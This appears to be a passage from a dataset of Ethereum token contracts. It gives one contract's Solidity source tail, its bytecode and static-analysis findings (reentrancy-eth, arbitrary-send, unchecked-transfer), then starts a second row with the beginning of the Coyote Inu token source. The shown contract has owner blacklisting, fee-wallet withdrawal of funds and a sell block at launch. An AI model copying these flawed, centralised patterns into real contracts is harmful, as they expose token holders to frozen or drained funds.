if(contractTokenBalance > minBalance){ swapAndLiquify(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } _transferStandard(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapAndLiquify(uint256 tokenAmount) private { uint256 half = liqfee.div(2); uint256 part = fee2.add(half); uint256 sum = fee2.add(liqfee); uint256 swapTotal = tokenAmount.mul(part).div(sum); swapTokensForEth(swapTotal); addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1); } function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{ _approve(address(this),address(uniswapV2Router),tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); addLiquidity(balanceOf(address(this)),address(this).balance,owner()); swapEnabled = true; tradingOpen = true; time = block.timestamp + (5 minutes); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount,uint256 tfee) = _getTValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(transferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tfee); emit Transfer(sender, recipient, transferAmount); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapAndLiquify(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = tAmount.mul(_tax).div(1000); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function recoverTokens(address tokenAddress) external { require(_msgSender() == _feeAddrWallet1); IERC20 recoveryToken = IERC20(tokenAddress); recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this))); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610384578063b515566a146103c1578063c3c8cd80146103ea578063c9567bf914610401578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780637e37e9bb146103055780638da5cb5b1461032e57806395d89b41146103595761011f565b806323b872dd116100e757806323b872dd146101e0578063273123b71461021d578063313ce567146102465780634ea18fab146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806316114acd1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b60405161014691906128fe565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906123ef565b610492565b60405161018391906128e3565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190612302565b6104b0565b005b3480156101c157600080fd5b506101ca610652565b6040516101d79190612a80565b60405180910390f35b3480156101ec57600080fd5b506102076004803603810190610202919061239c565b610663565b60405161021491906128e3565b60405180910390f35b34801561022957600080fd5b50610244600480360381019061023f9190612302565b61073c565b005b34801561025257600080fd5b5061025b61082c565b6040516102689190612af5565b60405180910390f35b34801561027d57600080fd5b50610298600480360381019061029391906124a5565b610835565b005b3480156102a657600080fd5b506102af6108a0565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612302565b610912565b6040516102e59190612a80565b60405180910390f35b3480156102fa57600080fd5b5061030361095b565b005b34801561031157600080fd5b5061032c60048036038101906103279190612552565b610aae565b005b34801561033a57600080fd5b50610343610b9b565b604051610350919061283e565b60405180910390f35b34801561036557600080fd5b5061036e610bc4565b60405161037b91906128fe565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906123ef565b610c01565b6040516103b891906128e3565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e3919061242f565b610c1f565b005b3480156103f657600080fd5b506103ff610d49565b005b34801561040d57600080fd5b50610416610dc3565b005b34801561042457600080fd5b5061043f600480360381019061043a919061235c565b610f0e565b60405161044c9190612a80565b60405180910390f35b60606040518060400160405280600981526020017f576172696f20496e750000000000000000000000000000000000000000000000815250905090565b60006104a661049f61105a565b8484611062565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f161105a565b73ffffffffffffffffffffffffffffffffffffffff161461051157600080fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161058e919061283e565b60206040518083038186803b1580156105a657600080fd5b505afa1580156105ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105de91906124d2565b6040518363ffffffff1660e01b81526004016105fb929190612859565b602060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064d9190612478565b505050565b6000683635c9adc5dea00000905090565b600061067084848461122d565b6107318461067c61105a565b61072c8560405180606001604052806028815260200161322060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e261105a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e69092919063ffffffff16565b611062565b600190509392505050565b61074461105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906129c0565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087661105a565b73ffffffffffffffffffffffffffffffffffffffff161461089657600080fd5b80600e8190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e161105a565b73ffffffffffffffffffffffffffffffffffffffff161461090157600080fd5b600047905061090f8161194a565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096361105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e7906129c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aef61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610b0f57600080fd5b600c548360ff1611158015610b295750600c548260ff1611155b8015610b395750600c54600b5411155b610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612a60565b60405180910390fd5b8260ff166009819055508160ff16600a819055508060ff16600b81905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f574152494f000000000000000000000000000000000000000000000000000000815250905090565b6000610c15610c0e61105a565b848461122d565b6001905092915050565b610c2761105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab906129c0565b60405180910390fd5b60005b8151811015610d4557600160056000848481518110610cd957610cd8612e73565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3d90612dcc565b915050610cb7565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8a61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610daa57600080fd5b6000610db530610912565b9050610dc0816119b6565b50565b610dcb61105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f906129c0565b60405180910390fd5b601160149054906101000a900460ff1615610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612a40565b60405180910390fd5b610ec2610eb430610912565b47610ebd610b9b565b611aa0565b6001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff02191690831515021790555061012c42610f069190612bb6565b600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415610fa8576000905061100a565b60008284610fb69190612c3d565b9050828482610fc59190612c0c565b14611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc906129a0565b60405180910390fd5b809150505b92915050565b600061105283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc4565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c990612a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612960565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112209190612a80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561129d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129490612a00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490612940565b60405180910390fd5b60008111611350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611347906129e0565b60405180910390fd5b611367600b54600954611c2790919063ffffffff16565b600881905550611375610b9b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e357506113b3610b9b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118d657600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561148c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61149557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115405750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115965750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115a3575060075442105b1561165357600d548111156115b757600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061160257600080fd5b601e4261160f9190612bb6565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116fe5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117545750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561177757611770600b54600a54611c2790919063ffffffff16565b6008819055505b601160159054906101000a900460ff161580156117e25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117fa5750601160169054906101000a900460ff165b80156118505750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d5576007544211611899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189090612920565b60405180910390fd5b60006118a430610912565b9050600e548111156118d3576118b9816119b6565b600047905060008111156118d1576118d04761194a565b5b505b505b5b6118e1838383611c85565b505050565b600083831115829061192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192591906128fe565b60405180910390fd5b506000838561193d9190612c97565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119b2573d6000803e3d6000fd5b5050565b60006119ce6002600b5461101090919063ffffffff16565b905060006119e782600a54611c2790919063ffffffff16565b90506000611a02600b54600a54611c2790919063ffffffff16565b90506000611a2b82611a1d8588610f9590919063ffffffff16565b61101090919063ffffffff16565b9050611a3681611ec0565b611a99611a4c828761214890919063ffffffff16565b611a7185611a638847610f9590919063ffffffff16565b61101090919063ffffffff16565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611aa0565b5050505050565b6001601160156101000a81548160ff021916908315150217905550611ae830601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b8152600401611b4f96959493929190612882565b6060604051808303818588803b158015611b6857600080fd5b505af1158015611b7c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ba191906124ff565b5050506000601160156101000a81548160ff021916908315150217905550505050565b60008083118290611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0291906128fe565b60405180910390fd5b5060008385611c1a9190612c0c565b9050809150509392505050565b6000808284611c369190612bb6565b905083811015611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7290612980565b60405180910390fd5b8091505092915050565b600080611c9183612192565b91509150611ce783600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611eb19190612a80565b60405180910390a35050505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef857611ef7612ea2565b5b604051908082528060200260200182016040528015611f265781602001602082028036833780820191505090505b5090503081600081518110611f3e57611f3d612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fe057600080fd5b505afa158015611ff4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612018919061232f565b8160018151811061202c5761202b612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f7959493929190612a9b565b600060405180830381600087803b15801561211157600080fd5b505af1158015612125573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600061218a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118e6565b905092915050565b60008060006121c06103e86121b260085487610f9590919063ffffffff16565b61101090919063ffffffff16565b905060006121d7828661214890919063ffffffff16565b90508082935093505050915091565b60006121f96121f484612b35565b612b10565b9050808382526020820190508285602086028201111561221c5761221b612ed6565b5b60005b8581101561224c57816122328882612256565b84526020840193506020830192505060018101905061221f565b5050509392505050565b600081359050612265816131c3565b92915050565b60008151905061227a816131c3565b92915050565b600082601f83011261229557612294612ed1565b5b81356122a58482602086016121e6565b91505092915050565b6000815190506122bd816131da565b92915050565b6000813590506122d2816131f1565b92915050565b6000815190506122e7816131f1565b92915050565b6000813590506122fc81613208565b92915050565b60006020828403121561231857612317612ee0565b5b600061232684828501612256565b91505092915050565b60006020828403121561234557612344612ee0565b5b60006123538482850161226b565b91505092915050565b6000806040838503121561237357612372612ee0565b5b600061238185828601612256565b925050602061239285828601612256565b9150509250929050565b6000806000606084860312156123b5576123b4612ee0565b5b60006123c386828701612256565b93505060206123d486828701612256565b92505060406123e5868287016122c3565b9150509250925092565b6000806040838503121561240657612405612ee0565b5b600061241485828601612256565b9250506020612425858286016122c3565b9150509250929050565b60006020828403121561244557612444612ee0565b5b600082013567ffffffffffffffff81111561246357612462612edb565b5b61246f84828501612280565b91505092915050565b60006020828403121561248e5761248d612ee0565b5b600061249c848285016122ae565b91505092915050565b6000602082840312156124bb576124ba612ee0565b5b60006124c9848285016122c3565b91505092915050565b6000602082840312156124e8576124e7612ee0565b5b60006124f6848285016122d8565b91505092915050565b60008060006060848603121561251857612517612ee0565b5b6000612526868287016122d8565b9350506020612537868287016122d8565b9250506040612548868287016122d8565b9150509250925092565b60008060006060848603121561256b5761256a612ee0565b5b6000612579868287016122ed565b935050602061258a868287016122ed565b925050604061259b868287016122ed565b9150509250925092565b60006125b183836125cc565b60208301905092915050565b6125c681612d20565b82525050565b6125d581612ccb565b82525050565b6125e481612ccb565b82525050565b60006125f582612b71565b6125ff8185612b94565b935061260a83612b61565b8060005b8381101561263b57815161262288826125a5565b975061262d83612b87565b92505060018101905061260e565b5085935050505092915050565b61265181612cdd565b82525050565b61266081612d32565b82525050565b600061267182612b7c565b61267b8185612ba5565b935061268b818560208601612d68565b61269481612ee5565b840191505092915050565b60006126ac602883612ba5565b91506126b782612ef6565b604082019050919050565b60006126cf602383612ba5565b91506126da82612f45565b604082019050919050565b60006126f2602283612ba5565b91506126fd82612f94565b604082019050919050565b6000612715601b83612ba5565b915061272082612fe3565b602082019050919050565b6000612738602183612ba5565b91506127438261300c565b604082019050919050565b600061275b602083612ba5565b91506127668261305b565b602082019050919050565b600061277e602983612ba5565b915061278982613084565b604082019050919050565b60006127a1602583612ba5565b91506127ac826130d3565b604082019050919050565b60006127c4602483612ba5565b91506127cf82613122565b604082019050919050565b60006127e7601783612ba5565b91506127f282613171565b602082019050919050565b600061280a601d83612ba5565b91506128158261319a565b602082019050919050565b61282981612d09565b82525050565b61283881612d13565b82525050565b600060208201905061285360008301846125db565b92915050565b600060408201905061286e60008301856125bd565b61287b6020830184612820565b9392505050565b600060c08201905061289760008301896125db565b6128a46020830188612820565b6128b16040830187612657565b6128be6060830186612657565b6128cb60808301856125db565b6128d860a0830184612820565b979650505050505050565b60006020820190506128f86000830184612648565b92915050565b600060208201905081810360008301526129188184612666565b905092915050565b600060208201905081810360008301526129398161269f565b9050919050565b60006020820190508181036000830152612959816126c2565b9050919050565b60006020820190508181036000830152612979816126e5565b9050919050565b6000602082019050818103600083015261299981612708565b9050919050565b600060208201905081810360008301526129b98161272b565b9050919050565b600060208201905081810360008301526129d98161274e565b9050919050565b600060208201905081810360008301526129f981612771565b9050919050565b60006020820190508181036000830152612a1981612794565b9050919050565b60006020820190508181036000830152612a39816127b7565b9050919050565b60006020820190508181036000830152612a59816127da565b9050919050565b60006020820190508181036000830152612a79816127fd565b9050919050565b6000602082019050612a956000830184612820565b92915050565b600060a082019050612ab06000830188612820565b612abd6020830187612657565b8181036040830152612acf81866125ea565b9050612ade60608301856125db565b612aeb6080830184612820565b9695505050505050565b6000602082019050612b0a600083018461282f565b92915050565b6000612b1a612b2b565b9050612b268282612d9b565b919050565b6000604051905090565b600067ffffffffffffffff821115612b5057612b4f612ea2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bc182612d09565b9150612bcc83612d09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c0157612c00612e15565b5b828201905092915050565b6000612c1782612d09565b9150612c2283612d09565b925082612c3257612c31612e44565b5b828204905092915050565b6000612c4882612d09565b9150612c5383612d09565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c8c57612c8b612e15565b5b828202905092915050565b6000612ca282612d09565b9150612cad83612d09565b925082821015612cc057612cbf612e15565b5b828203905092915050565b6000612cd682612ce9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d2b82612d44565b9050919050565b6000612d3d82612d09565b9050919050565b6000612d4f82612d56565b9050919050565b6000612d6182612ce9565b9050919050565b60005b83811015612d86578082015181840152602081019050612d6b565b83811115612d95576000848401525b50505050565b612da482612ee5565b810181811067ffffffffffffffff82111715612dc357612dc2612ea2565b5b80604052505050565b6000612dd782612d09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e0a57612e09612e15565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f53656c6c732070726f6869626974656420666f7220746865206669727374203560008201527f206d696e75746573000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f43616e6e6f742073657420666565732061626f7665206d6178696d756d000000600082015250565b6131cc81612ccb565b81146131d757600080fd5b50565b6131e381612cdd565b81146131ee57600080fd5b50565b6131fa81612d09565b811461320557600080fd5b50565b61321181612d13565b811461321c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d32e44724b6fe6b84270a9c6775e72be2d0d5fc648be2bf039f21cebe848086d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,012
0x25cb4845937aa5e67e75a1cdb9a771e611a2fbc8
/** *Submitted for verification at Etherscan.io on 2022-05-03 */ // https://t.me/CoyoteInuAnnouncements // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CoyoteInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Coyote Inu";// string private constant _symbol = "CINU";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x2505D6ae5ceDFF829Be5FBc007C3F0314F3dD917); address payable private _marketingAddress = payable(0x2505D6ae5ceDFF829Be5FBc007C3F0314F3dD917); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000000 * 10**9; // 0.5% max Tx uint256 public _maxWalletSize = 1500000000 * 10**9; // 1.5% max 